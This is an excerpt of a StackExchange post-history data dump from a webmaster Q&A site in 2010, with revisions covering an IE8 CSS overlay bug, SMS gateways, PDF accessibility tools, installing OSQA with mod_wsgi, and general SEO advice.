  <row Id="2788" PostHistoryTypeId="2" PostId="1534" RevisionGUID="8353471c-5965-4528-95d8-cd291118d9d2" CreationDate="2010-07-23T19:05:23.287" UserId="1001" Text="Recently I wanted to make an overlay on an existing page. Of course on all browsers works fine.. except IE. Although it made an interesting effect - one round corner - this can be seen at http://wenecja.com.pl/index_plakatowanie.html (you need to have adblock disabled on firefox). So how this had happen?&#xD;&#xA;Sorry for the sloppy css, but this wasn't an objective&#xD;&#xA;&#xD;&#xA;    #wrapper_lokacja { position: absolute; top: 0; left: 0; width: 100%; &#xD;&#xA;                       height: 100%; display: none; -moz-box-sizing: content-box; }&#xD;&#xA;    #wrapper_lokacja #overlay_lokacja { position: absolute; top: 0; left: 0; &#xD;&#xA;        width: 100%; height: 100%;&#xD;&#xA;        z-index: 0; background: url( &quot;/_img/lokalizacja/overlay.png&quot; );&#xD;&#xA;        filter:alpha(opacity=50); -moz-box-sizing: content-box; &#xD;&#xA;        -khtml-opacity: 0.5; opacity: 0.5;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    #wrapper_lokacja #text { width: 800px; height: 500px; position: absolute; &#xD;&#xA;        background-color: #fc0; text-align: center; font-family: &quot;Arial Black&quot;;&#xD;&#xA;        border: 13px solid #333;&#xD;&#xA;		-moz-box-sizing: content-box;&#xD;&#xA;        -moz-box-shadow: 1px 1px 10px #222;&#xD;&#xA;        left: 50%; top: 50%; margin: -250px 0 0 -400px;&#xD;&#xA;    }&#xD;&#xA;    #label, #map, #paczka, #exit { position: absolute;-moz-box-sizing: content-box;&#xD;&#xA;         overflow: visible }&#xD;&#xA;    #label { top: 20px; left: 242px; z-index: 0; }&#xD;&#xA;&#xD;&#xA;    #wrapper_lokacja p,#wrapper_lokacja h1,&#xD;&#xA;        #wrapper_lokacja h2 { position: relative; z-index: 20; padding: 0; &#xD;&#xA;            color: black; font-family: &quot;Arial Black&quot;; overflow: visible; &#xD;&#xA;            background: none; -moz-box-sizing: content-box; }&#xD;&#xA;    #wrapper_lokacja h1 { font-size: 48px; height: 48px; margin-bottom: 0; &#xD;&#xA;            margin-top: 15px; }&#xD;&#xA;    #wrapper_lokacja h2 { font-size: 18px; line-height: 1em; margin: 9px 0 0 0;}&#xD;&#xA;    #wrapper_lokacja h2 { margin-top /*\**/: -9px\9; } /* IE 8 hack */&#xD;&#xA;    #high_text { margin: 2em 0 0 0; font-size: 14px;}&#xD;&#xA;    #wrapper_lokacja #high_text em { font-style: normal;  font-size: 16px;}&#xD;&#xA;    #map { bottom: 0; left: 0; z-index: 2; }&#xD;&#xA;    #mapkaT { margin: 0; padding: 0; position: absolute; bottom: 203px; left: 0; &#xD;&#xA;        z-index: 10; }&#xD;&#xA;    #mapkaR { margin: 0; padding: 0; position: absolute; bottom: 0 ; left: 184px;&#xD;&#xA;        z-index: 10; }&#xD;&#xA;    #mapaFrame { position: absolute; bottom: -5px; z-index: 5;}&#xD;&#xA;    #paczka {  bottom:0; right: 27px;}&#xD;&#xA;    #exit { top: 0; right: 0;}&#xD;&#xA;    #wrapper_lokacja #lower_text { font-size: 13px; color: #004460; &#xD;&#xA;        margin-top: 40px;}" />
  <row Id="2789" PostHistoryTypeId="1" PostId="1534" RevisionGUID="8353471c-5965-4528-95d8-cd291118d9d2" CreationDate="2010-07-23T19:05:23.287" UserId="1001" Text="round corner in IE 8 - made by a mistake" />
  <row Id="2790" PostHistoryTypeId="3" PostId="1534" RevisionGUID="8353471c-5965-4528-95d8-cd291118d9d2" CreationDate="2010-07-23T19:05:23.287" UserId="1001" Text="&lt;html&gt;&lt;css&gt;&lt;internet-explorer&gt;" />
  <row Id="2791" PostHistoryTypeId="5" PostId="1398" RevisionGUID="755fc4dc-1484-4fcc-9ea6-81fb7c1407fb" CreationDate="2010-07-23T19:43:55.413" UserId="18" Comment="SO link" Text="I've been using **[IMified][1]** for a little while to do stuff similar to that and I've found it to work well. It allows you to receive SMS (or Twitter and IM messages) as HTTP POSTs and your web server's response is sent as a reply. They also offer a web service that can be used to [initiate conversation and send messages][2].&#xD;&#xA;&#xD;&#xA;While I was looking for other options I came across **[Zeep Mobile][3]** which has an API for sending and receiving SMS. It is either free and ad supported or available for a montly fee. I have not tried it, but it looks quite interesting.&#xD;&#xA;&#xD;&#xA;Those two options are both free, but do provide for contacting users outside of the United States. If you need to do that I'd recommend an SMS Gateway like **[ClickATell][4]**.&#xD;&#xA;&#xD;&#xA;Best of luck!&#xD;&#xA;&#xD;&#xA;EDIT: [I found a question on StackOverflow that has lots more suggestions, some may be outdated.][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imified.com&#xD;&#xA;  [2]: http://www.imified.com/developers/api#sendmessage&#xD;&#xA;  [3]: http://www.zeepmobile.com/&#xD;&#xA;  [4]: http://www.clickatell.com/&#xD;&#xA;  [5]: http://stackoverflow.com/questions/432944/sms-from-web-application" />
  <row Id="2792" PostHistoryTypeId="2" PostId="1535" RevisionGUID="32125eec-5ac9-4305-a58e-f171a8260df9" CreationDate="2010-07-23T20:08:10.503" UserId="998" Text="What about StackExchange?" />
  <row Id="2793" PostHistoryTypeId="2" PostId="1536" RevisionGUID="93cf8caf-f1e1-47c6-a487-ff07f57edff0" CreationDate="2010-07-23T20:08:13.407" UserId="1004" Text="This is still not recommended to do, the consideration you mention above is still valid.&#xD;&#xA;&#xD;&#xA;Source: http://code.google.com/intl/nl-NL/apis/analytics/docs/concepts/gaConceptsCookies.html (all the way at the bottom of the page).&#xD;&#xA;&#xD;&#xA;Despite this recommendation, it did work for us for a landing page we did. Our affiliate wanted to include the landing page in his tracking, while our client wanted to track the visits as part of his own site-wide monitoring. We recommended against it, but implemented it with a &quot;Don't call us if it breaks&quot; on their insistence... never had that call." />
  <row Id="2794" PostHistoryTypeId="2" PostId="1537" RevisionGUID="87cc5ffc-81ea-47fc-a207-0867f4befd82" CreationDate="2010-07-23T20:13:59.197" UserId="1004" Text="I remembered seeing a similar question to this on StackOverflow.. dredged it up, and found an interesting lead there called VoxPopuli http://www.eldos.com/vp/ which sounds pretty much like what you're looking for. It's probably not as polished as Uservoice or GetSatisfaction though.&#xD;&#xA;&#xD;&#xA;Don't forget to upvote Eugene Mayevski at http://stackoverflow.com/questions/1576935/open-source-alternative-to-uservoice-or-get-satisfaction if this helped you :)" />
  <row Id="2795" PostHistoryTypeId="2" PostId="1538" RevisionGUID="2a0a6ba4-bfad-42b3-a153-74227d5bfcba" CreationDate="2010-07-23T20:17:45.973" UserId="110" Text="In the US sites should be made accessible for people with disabilities.  This is often followed for HTML, but ignored for PDF files.  Since there is quite a lot of PDF content on the web, what tools do you use to make that content accessible?&#xD;&#xA;&#xD;&#xA;http://section508.gov/ has the facts for the United States." />
  <row Id="2796" PostHistoryTypeId="1" PostId="1538" RevisionGUID="2a0a6ba4-bfad-42b3-a153-74227d5bfcba" CreationDate="2010-07-23T20:17:45.973" UserId="110" Text="What tools are used to make a PDF accessible to people with disabilities" />
  <row Id="2797" PostHistoryTypeId="3" PostId="1538" RevisionGUID="2a0a6ba4-bfad-42b3-a153-74227d5bfcba" CreationDate="2010-07-23T20:17:45.973" UserId="110" Text="&lt;tools&gt;&lt;accessibility&gt;&lt;pdf&gt;" />
  <row Id="2798" PostHistoryTypeId="16" PostId="1538" RevisionGUID="2a0a6ba4-bfad-42b3-a153-74227d5bfcba" CreationDate="2010-07-23T20:17:45.973" UserId="110" />
  <row Id="2799" PostHistoryTypeId="2" PostId="1539" RevisionGUID="fa5f0e4f-2c0b-4676-a2b6-2955100e1740" CreationDate="2010-07-23T20:19:41.973" UserId="110" Text="We use an Adobe Acrobat Pro plugin called CommonLook&#xD;&#xA;&#xD;&#xA;[http://www.net-centric.com/products/cl_s508_adobe.aspx][1]&#xD;&#xA;&#xD;&#xA;It is pretty slow on big documents, has some real navigation issues, but does make editing the tags and content of a PDF much easier than the default tools in Adobe Acrobat 9 Pro.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.net-centric.com/products/cl_s508_adobe.aspx" />
  <row Id="2800" PostHistoryTypeId="16" PostId="1539" RevisionGUID="fa5f0e4f-2c0b-4676-a2b6-2955100e1740" CreationDate="2010-07-23T20:19:41.973" UserId="-1" />
  <row Id="2801" PostHistoryTypeId="2" PostId="1540" RevisionGUID="4d4c97ca-1a08-423d-838b-0a121dd6c045" CreationDate="2010-07-23T20:29:46.490" UserId="965" Text="I was working with Pligg - The Social Networking CMS and it seems like a great software. But there are few things that are not so working well for me. The content scrapper module is not perfect and has lots of bugs. &#xD;&#xA;&#xD;&#xA;If anyone knows any other alternatives? All i am trying to do is create DIGG like website.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="2802" PostHistoryTypeId="1" PostId="1540" RevisionGUID="4d4c97ca-1a08-423d-838b-0a121dd6c045" CreationDate="2010-07-23T20:29:46.490" UserId="965" Text="I need an alternative to Pligg.com" />
  <row Id="2803" PostHistoryTypeId="3" PostId="1540" RevisionGUID="4d4c97ca-1a08-423d-838b-0a121dd6c045" CreationDate="2010-07-23T20:29:46.490" UserId="965" Text="&lt;site-deployment&gt;&lt;free&gt;&lt;social-media&gt;" />
  <row Id="2804" PostHistoryTypeId="2" PostId="1541" RevisionGUID="7d3c53dd-63f6-47c8-ba0b-1f6720214e6c" CreationDate="2010-07-23T20:54:56.210" UserId="965" Text="How to Install OSQA Q and A application in Apache Server. I have mod_python installed but still I am not able to run OSQA. I could not find the easy instruction to install it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2805" PostHistoryTypeId="1" PostId="1541" RevisionGUID="7d3c53dd-63f6-47c8-ba0b-1f6720214e6c" CreationDate="2010-07-23T20:54:56.210" UserId="965" Text="How to Install OSQA Q and A application in Apache" />
  <row Id="2806" PostHistoryTypeId="3" PostId="1541" RevisionGUID="7d3c53dd-63f6-47c8-ba0b-1f6720214e6c" CreationDate="2010-07-23T20:54:56.210" UserId="965" Text="&lt;site-deployment&gt;&lt;web-platform-installer&gt;" />
  <row Id="2807" PostHistoryTypeId="2" PostId="1542" RevisionGUID="f5c58771-8487-4ed8-8624-d97ddd2084e7" CreationDate="2010-07-23T21:05:02.270" UserId="26" Text="Answered very well on: [google analytics - multiple trackers on one page (cookie conflict)][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1239042/google-analytics-multiple-trackers-on-one-page-cookie-conflict" />
  <row Id="2808" PostHistoryTypeId="2" PostId="1543" RevisionGUID="14ddcdc4-a851-4ef0-90e4-da71f1f8366d" CreationDate="2010-07-23T22:52:08.003" UserId="1004" Text="To add to the pro's / con's listed up to now:&#xD;&#xA;&#xD;&#xA;Pro's of multiple databases:&#xD;&#xA;&#xD;&#xA;1. Locking issues are avoided; we've got databases where the clients can trigger DDL-changes on some of the tables. For the larger tables (&gt;2m records) this locks the table for a considerable amount of time. The only people at a disadvantage are their own users, so this is sort-of acceptable.&#xD;&#xA;&#xD;&#xA;2. Flexibility - some clients have specific wishes regarding data they wish to store; multi-database allowed us the flexibility to alter their database specifically, without having to clutter the data model for the other clients.&#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA;1. Major con: Joining on other tables is a lot more cumbersome. We've got a Main database which contains most meta-data. The client-specific database users don't have access to this database, so all joins between tables in that database and the client-specific one are handled in the application instead of in the database. You could resolve this by giving the client-specific users access to the main database, but then the app could/might leak information again.&#xD;&#xA;&#xD;&#xA;Good luck in choosing!" />
  <row Id="2809" PostHistoryTypeId="2" PostId="1544" RevisionGUID="9792de56-7f5e-439c-9493-c27719e66d8d" CreationDate="2010-07-24T01:24:57.050" UserId="42" Text="I operate a fairly large (45,000+ pages) ecommerce site that runs on an older ASP.NET 1.1 shopping cart that is a pain to administer and maintain but ranks really well.  I'd like to upgrade to a .NET 3.5 cart (AbleCommerce) but I am really concerned about how that will effect my rankings.  &#xD;&#xA;&#xD;&#xA;My main questions:&#xD;&#xA;&#xD;&#xA;- Content will be the same, but HTML will change (much cleaner), but could this somehow affect rankings?&#xD;&#xA;&#xD;&#xA;- URL structure will be changing from a /ProductPage.aspx&amp;Id=1234 format to a /product-name-and-relevant-keywords.aspx format which would require many 301 redirects. How many are too many and does a 301 automatically incur a loss in rank?&#xD;&#xA;&#xD;&#xA;- Do the potential benefits (better rankings, performance, ease of use) outweigh the potential losses (loss of rankings and/or my job)? &#xD;&#xA;&#xD;&#xA;I'd also like to hear about any other things I should consider.&#xD;&#xA;" />
  <row Id="2810" PostHistoryTypeId="1" PostId="1544" RevisionGUID="9792de56-7f5e-439c-9493-c27719e66d8d" CreationDate="2010-07-24T01:24:57.050" UserId="42" Text="Upgrading Shopping Cart Software and SERPS" />
  <row Id="2811" PostHistoryTypeId="3" PostId="1544" RevisionGUID="9792de56-7f5e-439c-9493-c27719e66d8d" CreationDate="2010-07-24T01:24:57.050" UserId="42" Text="&lt;site-deployment&gt;&lt;site-maintenance&gt;&lt;ecommerce&gt;&lt;site-ranking&gt;" />
  <row Id="2812" PostHistoryTypeId="6" PostId="2" RevisionGUID="faabbfdf-aaf9-43fb-a102-25b717df94c8" CreationDate="2010-07-24T01:39:44.910" UserId="42" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;site-ranking&gt;" />
  <row Id="2813" PostHistoryTypeId="6" PostId="1516" RevisionGUID="69bc01ed-96c7-461f-a8bc-4cbdf62ec024" CreationDate="2010-07-24T01:41:07.857" UserId="42" Comment="edited tags" Text="&lt;search-engines&gt;&lt;speed&gt;&lt;site-ranking&gt;" />
  <row Id="2814" PostHistoryTypeId="10" PostId="1534" RevisionGUID="28761354-00b2-420a-8b4a-f852066f82c4" CreationDate="2010-07-24T02:43:55.550" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:55,&quot;DisplayName&quot;:&quot;Tim Post&quot;},{&quot;Id&quot;:179,&quot;DisplayName&quot;:&quot;Bryson&quot;},{&quot;Id&quot;:26,&quot;DisplayName&quot;:&quot;artlung&quot;},{&quot;Id&quot;:155,&quot;DisplayName&quot;:&quot;Kinopiko&quot;}]" />
  <row Id="2815" PostHistoryTypeId="2" PostId="1545" RevisionGUID="aed21f89-c1e4-4116-ab08-170602c27861" CreationDate="2010-07-24T10:54:40.310" UserId="771" Text="We use SEOQuake Plugin for Chrome. Gives good PR, Links, etc. info for your page." />
  <row Id="2816" PostHistoryTypeId="2" PostId="1546" RevisionGUID="b960a276-349f-432d-a002-910cb6ade8cc" CreationDate="2010-07-24T14:16:36.497" UserId="914" Text="Instead of two tracking codes you can just ask your client to grant access to you so you can view their analytics reports from your own Google account. Seen [this guide][1] on how to do that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55500" />
  <row Id="2817" PostHistoryTypeId="2" PostId="1547" RevisionGUID="954139df-8e0b-47f7-bbc2-bec7f4e68ed4" CreationDate="2010-07-24T18:01:46.160" UserId="745" Text="A lot of people look for technical tricks for SEO and ignore the big picture. You need both. Your SEO (and business) strategy is every bit as important as SEO tactics.  There are more than 200 [SEO factors][2] that go into rankings, but here are a few of the more important SEO factors that I've experienced, both tactical and strategic:&#xD;&#xA;&#xD;&#xA; - **Have a website worth visiting.** If&#xD;&#xA;   your website isn't designed for users&#xD;&#xA;   first, most of the time it won't do&#xD;&#xA;   well in the search engines. &#xD;&#xA; - **Make your site crawlable.** Don't rely on Flash or JavaScript&#xD;&#xA;   navigation. If you need to use&#xD;&#xA;   JavaScript, use it to enhance an&#xD;&#xA;   existing (X)HTML menu, not create it.&#xD;&#xA;   You won't even need a sitemap if your&#xD;&#xA;   site is crawlable in the first place&#xD;&#xA;   (but it doesn't hurt). RSS feeds also help you get crawled.&#xD;&#xA; - **Do your keyword research using Google's [Keyword Tool][3].** I guarantee that you're missing out on traffic opportunities if you don't do this (and most people don't). Take 5 minutes to make sure&#xD;&#xA;   that your content is hitting the most&#xD;&#xA;   popular search terms for its subject&#xD;&#xA;   matter. It's worth it.&#xD;&#xA; - **Make a bigger website.** Backlinks matter and internal links from your&#xD;&#xA;   own pages count. The easiest, surest,&#xD;&#xA;   and most efficient way to get&#xD;&#xA;   backlinks is to increase the number&#xD;&#xA;   of pages on your site. The bigger&#xD;&#xA;   your search engine footprint, the&#xD;&#xA;   more weight you have to throw around. This is one of the reasons blogs are recommended for SEO.&#xD;&#xA; - **Get your title right.** You get 65 characters to create an on-topic&#xD;&#xA;   incentive for the user to click on&#xD;&#xA;   your search engine listing. Use the&#xD;&#xA;   opportunity wisely. Your best keywords should be in the title. However, it's not just&#xD;&#xA;   about using the right keywords; &#xD;&#xA;   it's also about catching the user's&#xD;&#xA;   attention while still signalling that&#xD;&#xA;   your page is going to be relevant and&#xD;&#xA;   helpful to them. Use Michael&#xD;&#xA;   Masterson's Four U's Method: Be&#xD;&#xA;   Unique. Be Useful. Be Urgent. Be&#xD;&#xA;   Ultra-Specific. Stronger titles use&#xD;&#xA;   more U's. Remember that your title is&#xD;&#xA;   often used by social media sites to&#xD;&#xA;   link to your page as well.&#xD;&#xA; - **Get your anchor text right.** Use keywords that are also helpful to&#xD;&#xA;   your users. Never use the infamous&#xD;&#xA;   'Click Here' text as a link.&#xD;&#xA; - **Don't waste time asking for links.** There is no bigger waste of&#xD;&#xA;   time and money, IMO, than emailing&#xD;&#xA;   other websites offering to do link&#xD;&#xA;   exchanges. Think about the time spent&#xD;&#xA;   searching for relevant websites,&#xD;&#xA;   emailing, responding, and&#xD;&#xA;   implementing a link exchange. What's&#xD;&#xA;   your hourly wage? Now think about&#xD;&#xA;   economies of scale and how many times&#xD;&#xA;   you have to do that to make a&#xD;&#xA;   discernible difference for every page&#xD;&#xA;   of your website. There is no way that&#xD;&#xA;   you can possibly come out on top.&#xD;&#xA;   There are easier ways to get links.&#xD;&#xA; - **Make your site sharable.** All those little social media widgets?&#xD;&#xA;   They might be annoying, but when used&#xD;&#xA;   properly, they make it easier for&#xD;&#xA;   your users to share your content. The&#xD;&#xA;   caveat here is proper context.&#xD;&#xA;   Privacy policies, terms of use,&#xD;&#xA;   registration, and other pages of that&#xD;&#xA;   ilk are probably not good candidates&#xD;&#xA;   for a widget.&#xD;&#xA; - **[Viral content][4] works.** But you need to use it wisely. Not every&#xD;&#xA;   announcement on your site is going to&#xD;&#xA;   be or should be viral. It has to make&#xD;&#xA;   sense and it needs to be&#xD;&#xA;   well-thought-out. Ask yourself&#xD;&#xA;   objectively, *why would someone link&#xD;&#xA;   to this?* If you can't think of a&#xD;&#xA;   good answer, you should go back to&#xD;&#xA;   the drawing board. Again, the 4 U's&#xD;&#xA;   help here.&#xD;&#xA; - **Incentivize linking.** A great way to kickstart a viral campaign or even&#xD;&#xA;   a more moderate but steadily growing&#xD;&#xA;   external link profile. Think contests&#xD;&#xA;   and giveaways, but also think&#xD;&#xA;   StackOverflow's badge widgets.&#xD;&#xA; - **Build a community** An audience of loyal readers will link to and share&#xD;&#xA;   your content naturally.&#xD;&#xA;   User-generated content increases your&#xD;&#xA;   website's footprint and also&#xD;&#xA;   incentivizes linking.&#xD;&#xA; - **Remember the big picture.** Why are you doing SEO in the first place?&#xD;&#xA;   What is the purpose of your website?&#xD;&#xA;   It's easy to focus so much SEO that&#xD;&#xA;   you lose sight of what you're trying&#xD;&#xA;   to do. If you're trying to make money&#xD;&#xA;   with your site, don't forget that you&#xD;&#xA;   also need to focus on the usability,&#xD;&#xA;   the design, the copy, the offer, the&#xD;&#xA;   product, the checkout process, etc.&#xD;&#xA;   SEO is only a small part of that.&#xD;&#xA;&#xD;&#xA;If you're interested in more details, I wrote an article on my website about [basic SEO tips][1] which you can reference for more info.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtuosimedia.com/articles/seo-in-10-minutes-search-engine-optimization-tips-for-beginners&#xD;&#xA;  [2]: http://www.seomoz.org/article/search-ranking-factors&#xD;&#xA;  [3]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none&#xD;&#xA;  [4]: http://www.virtuosimedia.com/articles/secret-formula-how-to-write-viral-content-for-your-website" />
  <row Id="2818" PostHistoryTypeId="2" PostId="1548" RevisionGUID="72107fe1-254d-4538-8af7-ebd5373b4be5" CreationDate="2010-07-24T19:10:26.673" UserId="667" Text="OSQA is a Django application, so first you will need to install [Django](http://www.djangoproject.com). You may also need to install other dependencies of the project. (I tried it and had to install [html5lib](http://code.google.com/p/html5lib/), for example) Also, I would _strongly_ recommend uninstalling mod_python (unless you really need it for something else) and installing [mod_wsgi](http://code.google.com/p/modwsgi/) instead, since as far as I know mod_python is deprecated and on its way to being completely unmaintained.&#xD;&#xA;&#xD;&#xA;Once you have mod_wsgi installed and enabled in the Apache configuration, you'll need to use the `WSGIScriptAlias` directive to enable OSQA.&#xD;&#xA;&#xD;&#xA;1. When you check out OSQA from SVN, you'll have a directory named `trunk` which contains a file called `osqa.wsgi.dist`. Move that `trunk` directory to a location of your choice, probably in the same place you store other website files.&#xD;&#xA;2. Make sure all files in `trunk` (or whatever you renamed it to) are readable by the web server. (They probably already are)&#xD;&#xA;3. Read through the file `settings_local.py.dist` and alter it to suit your needs. You'll at least need to provide a database name and database engine.&#xD;&#xA;4. Rename `settings_local.py.dist` to `settings_local.py`.&#xD;&#xA;5. Rename `osqa.wsgi.dist` to `osqa.wsgi`.&#xD;&#xA;6. In your Apache configuration file, inside the virtual host from which you want OSQA to be served, add the following snippet (modified as described below, of course):&#xD;&#xA;&#xD;&#xA;        &lt;IfModule wsgi_module&gt;&#xD;&#xA;            WSGIScriptAlias /osqa /var/www/www.example.com/osqa.wsgi&#xD;&#xA;        &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;    Here `/osqa` should be the URL path under which you want OSQA to be available (it could be `/` if you like), and `/var/www/www.example.com/osqa.wsgi` should be replaced with the full path to the file `osqa.wsgi` (the one you renamed in the previous step).&#xD;&#xA;7. Check your Apache configuration and if everything is OK, reload Apache. You should be able to access OSQA at your chosen URL. If anything goes wrong, the error message should give you the information you need to fix it." />
  <row Id="2819" PostHistoryTypeId="5" PostId="1547" RevisionGUID="63f0ceb4-b246-41bf-bf1b-6f3cd960e671" CreationDate="2010-07-24T20:18:14.640" UserId="745" Comment="added 602 characters in body" Text="A lot of people look for technical tricks for SEO and ignore the big picture. You need both. Your SEO (and business) strategy is every bit as important as SEO tactics.  There are more than 200 [SEO factors][2] that go into rankings, but here are a few of the more important SEO factors that I've experienced, both tactical and strategic:&#xD;&#xA;&#xD;&#xA; - **Have a website worth visiting.** If&#xD;&#xA;   your website isn't designed for users&#xD;&#xA;   first, most of the time it won't do&#xD;&#xA;   well in the search engines. &#xD;&#xA; - **Make your site crawlable.** Don't rely on Flash or JavaScript&#xD;&#xA;   navigation. If you need to use&#xD;&#xA;   JavaScript, use it to enhance an&#xD;&#xA;   existing (X)HTML menu, not create it.&#xD;&#xA;   You won't even need a sitemap if your&#xD;&#xA;   site is crawlable in the first place&#xD;&#xA;   (but it doesn't hurt). RSS feeds also help you get crawled.&#xD;&#xA; - **Do your keyword research using Google's [Keyword Tool][3].** I guarantee that you're missing out on traffic opportunities if you don't do this (and most people don't). Take 5 minutes to make sure&#xD;&#xA;   that your content is hitting the most&#xD;&#xA;   popular search terms for its subject&#xD;&#xA;   matter. It's worth it.&#xD;&#xA; - **Make a bigger website.** Backlinks matter and internal links from your&#xD;&#xA;   own pages count. The easiest, surest,&#xD;&#xA;   and most efficient way to get&#xD;&#xA;   backlinks is to increase the number&#xD;&#xA;   of pages on your site. The bigger&#xD;&#xA;   your search engine footprint, the&#xD;&#xA;   more weight you have to throw around. This is one of the reasons blogs are recommended for SEO.&#xD;&#xA; - **Get your title right.** You get 65 characters to create an on-topic&#xD;&#xA;   incentive for the user to click on&#xD;&#xA;   your search engine listing. Use the&#xD;&#xA;   opportunity wisely. Your best keywords should be in the title. However, it's not just&#xD;&#xA;   about using the right keywords; &#xD;&#xA;   it's also about catching the user's&#xD;&#xA;   attention while still signalling that&#xD;&#xA;   your page is going to be relevant and&#xD;&#xA;   helpful to them. Use Michael&#xD;&#xA;   Masterson's Four U's Method: Be&#xD;&#xA;   Unique. Be Useful. Be Urgent. Be&#xD;&#xA;   Ultra-Specific. Stronger titles use&#xD;&#xA;   more U's. Remember that your title is&#xD;&#xA;   often used by social media sites to&#xD;&#xA;   link to your page as well.&#xD;&#xA; - **Get your anchor text right.** Use keywords that are also helpful to&#xD;&#xA;   your users. Never use the infamous&#xD;&#xA;   'Click Here' text as a link.&#xD;&#xA; - **Get a handle on duplicate content**. It's far too easy to&#xD;&#xA;   create duplicate content.&#xD;&#xA;   http://example.com,&#xD;&#xA;   http://example.com/,&#xD;&#xA;   http://www.example.com, and&#xD;&#xA;   http://www.example.com/ are all&#xD;&#xA;   considered different URLS. URL parameters also create duplicates:&#xD;&#xA;   http://example.com?a=1&amp;b=2 and&#xD;&#xA;   http://example.com?b=2&amp;a=1 are both different URLs. Use Apache or&#xD;&#xA;   whatever server you're using to&#xD;&#xA;   manage your redirect rules so this&#xD;&#xA;   doesn't happen. This needs to be a consideration from the beginning and should be solved both programatically and with server redirects.&#xD;&#xA; - **Don't waste time asking for links.** There is no bigger waste of&#xD;&#xA;   time and money, IMO, than emailing&#xD;&#xA;   other websites offering to do link&#xD;&#xA;   exchanges. Think about the time spent&#xD;&#xA;   searching for relevant websites,&#xD;&#xA;   emailing, responding, and&#xD;&#xA;   implementing a link exchange. What's&#xD;&#xA;   your hourly wage? Now think about&#xD;&#xA;   economies of scale and how many times&#xD;&#xA;   you have to do that to make a&#xD;&#xA;   discernible difference for every page&#xD;&#xA;   of your website. There is no way that&#xD;&#xA;   you can possibly come out on top.&#xD;&#xA;   There are easier ways to get links.&#xD;&#xA; - **Make your site sharable.** All those little social media widgets?&#xD;&#xA;   They might be annoying, but when used&#xD;&#xA;   properly, they make it easier for&#xD;&#xA;   your users to share your content. The&#xD;&#xA;   caveat here is proper context.&#xD;&#xA;   Privacy policies, terms of use,&#xD;&#xA;   registration, and other pages of that&#xD;&#xA;   ilk are probably not good candidates&#xD;&#xA;   for a widget.&#xD;&#xA; - **[Viral content][4] works.** But you need to use it wisely. Not every&#xD;&#xA;   announcement on your site is going to&#xD;&#xA;   be or should be viral. It has to make&#xD;&#xA;   sense and it needs to be&#xD;&#xA;   well-thought-out. Ask yourself&#xD;&#xA;   objectively, *why would someone link&#xD;&#xA;   to this?* If you can't think of a&#xD;&#xA;   good answer, you should go back to&#xD;&#xA;   the drawing board. Again, the 4 U's&#xD;&#xA;   help here.&#xD;&#xA; - **Incentivize linking.** A great way to kickstart a viral campaign or even&#xD;&#xA;   a more moderate but steadily growing&#xD;&#xA;   external link profile. Think contests&#xD;&#xA;   and giveaways, but also think&#xD;&#xA;   StackOverflow's badge widgets.&#xD;&#xA; - **Build a community** An audience of loyal readers will link to and share&#xD;&#xA;   your content naturally.&#xD;&#xA;   User-generated content increases your&#xD;&#xA;   website's footprint and also&#xD;&#xA;   incentivizes linking.&#xD;&#xA; - **Remember the big picture.** Why are you doing SEO in the first place?&#xD;&#xA;   What is the purpose of your website?&#xD;&#xA;   It's easy to focus so much SEO that&#xD;&#xA;   you lose sight of what you're trying&#xD;&#xA;   to do. If you're trying to make money&#xD;&#xA;   with your site, don't forget that you&#xD;&#xA;   also need to focus on the usability,&#xD;&#xA;   the design, the copy, the offer, the&#xD;&#xA;   product, the checkout process, etc.&#xD;&#xA;   SEO is only a small part of that.&#xD;&#xA;&#xD;&#xA;If you're interested in more details, I wrote an article on my website about [basic SEO tips][1] which you can reference for more info.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtuosimedia.com/articles/seo-in-10-minutes-search-engine-optimization-tips-for-beginners&#xD;&#xA;  [2]: http://www.seomoz.org/article/search-ranking-factors&#xD;&#xA;  [3]: https://adwords.google.com/o/Targeting/Explorer?__u=1000000000&amp;__c=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none&#xD;&#xA;  [4]: http://www.virtuosimedia.com/articles/secret-formula-how-to-write-viral-content-for-your-website" />
  <row Id="2820" PostHistoryTypeId="2" PostId="1549" RevisionGUID="45ed500f-8fa4-414a-8778-4a630d010e7f" CreationDate="2010-07-24T21:25:44.847" UserId="745" Text="There is a software called [Drigg][1], which is based on Drupal. However, if you don't know PHP, you may find a Drupal website difficult to set up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.drigg-code.org/" />
  <row Id="2821" PostHistoryTypeId="2" PostId="1550" RevisionGUID="e5e8ee8a-ce75-4486-a27b-df5eb4e5c2b8" CreationDate="2010-07-24T21:57:32.763" UserId="702" Text="This is not precisely a programming question, so I don't know whether it fits on Pro Webmaster, and if not, on which other StackExchange to ask.&#xD;&#xA;&#xD;&#xA;I wondered if there's a good book on teaching how to make the transition from writing dedicated applications in eg. C++/Delphi/VBClassic to web applications in PHP, etc.?&#xD;&#xA;&#xD;&#xA;For instance, the book would start with the fact that the web paradigm is based on client-server, HTTP is a stateless protocol, the only language available to run code on the client is JavaScript, etc.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="2822" PostHistoryTypeId="1" PostId="1550" RevisionGUID="e5e8ee8a-ce75-4486-a27b-df5eb4e5c2b8" CreationDate="2010-07-24T21:57:32.763" UserId="702" Text="Book on moving from dedicated apps to web apps?" />
